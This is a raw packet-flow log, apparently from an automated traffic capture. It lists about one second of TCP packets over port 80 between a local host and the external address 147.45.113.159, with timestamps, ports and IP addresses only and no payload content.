Dec 20, 2024 17:13:44.965292931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.965912104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.965955019 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.965960979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.966737986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.966811895 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.966824055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.967483044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.967530012 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.967580080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.968270063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.968316078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.968398094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.969072104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.969113111 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.969189882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.969831944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.969873905 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.969923973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.970649004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.970693111 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.970793962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.971498013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.971545935 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.971612930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.972196102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.972239017 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.972263098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.972960949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.972999096 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.973140955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.973882914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.973927975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.973937988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.974524975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.974566936 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.974663019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.975379944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.975423098 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.975444078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.976100922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.976144075 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.976206064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.976882935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.976924896 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.976962090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.977643967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.977684021 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.977765083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.978451014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.978490114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.978498936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.979249001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.979295969 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.979329109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.980134964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.980149031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.980170012 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.980772018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.980817080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.980892897 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.981578112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.981616974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.981667042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.982373953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.982414007 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.982491970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.983158112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.983201027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.983278990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.983920097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.983952999 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.984056950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.984724045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.984760046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.985238075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.985496998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.985527039 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.985542059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.031294107 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.037765026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.037789106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.037858963 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.037977934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.038157940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.038218975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.038260937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.038975954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.039021969 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.039061069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.039777040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.039793968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.039865017 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.040565968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.040615082 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.040667057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.041323900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.041372061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.041376114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.042119026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.042159081 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.042212963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.042884111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.042928934 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.042990923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.043668985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.043710947 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.043711901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.044440031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.044487000 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.044549942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.045221090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.045260906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.045263052 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.046003103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.046050072 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.046276093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.046804905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.046883106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.046889067 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.047571898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.047615051 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.047662973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.048408031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.048453093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.048525095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.049158096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.049205065 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.049249887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.049927950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.049969912 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.050031900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.050718069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.050757885 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.050798893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.051558971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.051604986 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.051621914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.052279949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.052371025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.052396059 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.078504086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.078526020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.078583002 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.078705072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.078746080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.078779936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.079385042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.079442978 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.079513073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.080106974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.080146074 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.080173016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.125020027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.156075954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.156094074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.156290054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.156352997 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.156416893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.156459093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.157061100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.157146931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.157182932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.157814026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.157922029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.157958031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.158620119 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.158670902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.158709049 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.159449100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.159543991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.159595013 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.160264969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.160351992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.160387039 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.160991907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.161070108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.161108017 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.161933899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.162125111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.162214041 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.162553072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.162626982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.162662983 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.163383007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.163472891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.163511992 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.164112091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.164216995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.164252996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.164875984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.164984941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.165021896 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.165740013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.165807962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.165846109 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.166465044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.166548967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.166585922 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.167222977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.167372942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.167411089 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.168055058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.168196917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.168256998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.168791056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.168908119 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.168946981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.169644117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.169750929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.169790983 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.170355082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.170416117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.170454025 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.171133041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.171381950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.171422958 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.171969891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.172005892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.172039986 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.172705889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.172770977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.172806978 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.173525095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.173599958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.173638105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.174264908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.174390078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.174424887 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.175049067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.175157070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.175194025 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.175832033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.175937891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.175973892 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.176594019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.176687002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.176723003 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.177381992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.177517891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.177556992 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.178157091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.178232908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.178282976 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.229940891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.229976892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.230050087 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.230215073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.230343103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.230377913 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.230846882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.230987072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.231028080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.231642008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.231688023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.231731892 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.232023954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.232151985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.232192039 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.232501984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.232563972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.232597113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.233280897 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.233366013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.233397961 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.234062910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.234242916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.234278917 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.234858036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.234982967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.235019922 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.235630989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.235760927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.235799074 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.236428022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.236556053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.236593008 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.237283945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.237349987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.237382889 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.238048077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.238101959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.238147020 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.238739967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.238908052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.238940001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.239556074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.239675045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.239706039 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.240318060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.240417957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.240451097 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.241183996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.241327047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.241364956 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.241944075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.242048025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.242084980 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.242738008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.242851973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.242887974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.243519068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.243632078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.243669987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.244224072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.244394064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.244431019 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.270596027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.270633936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.270709038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.270729065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.270920038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.270960093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.271503925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.271564960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.271603107 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.272337914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.272397995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.272439003 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.351170063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.351629019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.351640940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.351667881 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.351700068 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.351737022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.352220058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.352360010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.352405071 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.352976084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.353087902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.353133917 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.353816986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.353955030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.353996992 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.354595900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.354645967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.354691029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.355309010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.355556011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.355603933 CET	49711	80	192.168.2.9	147.45.113.159
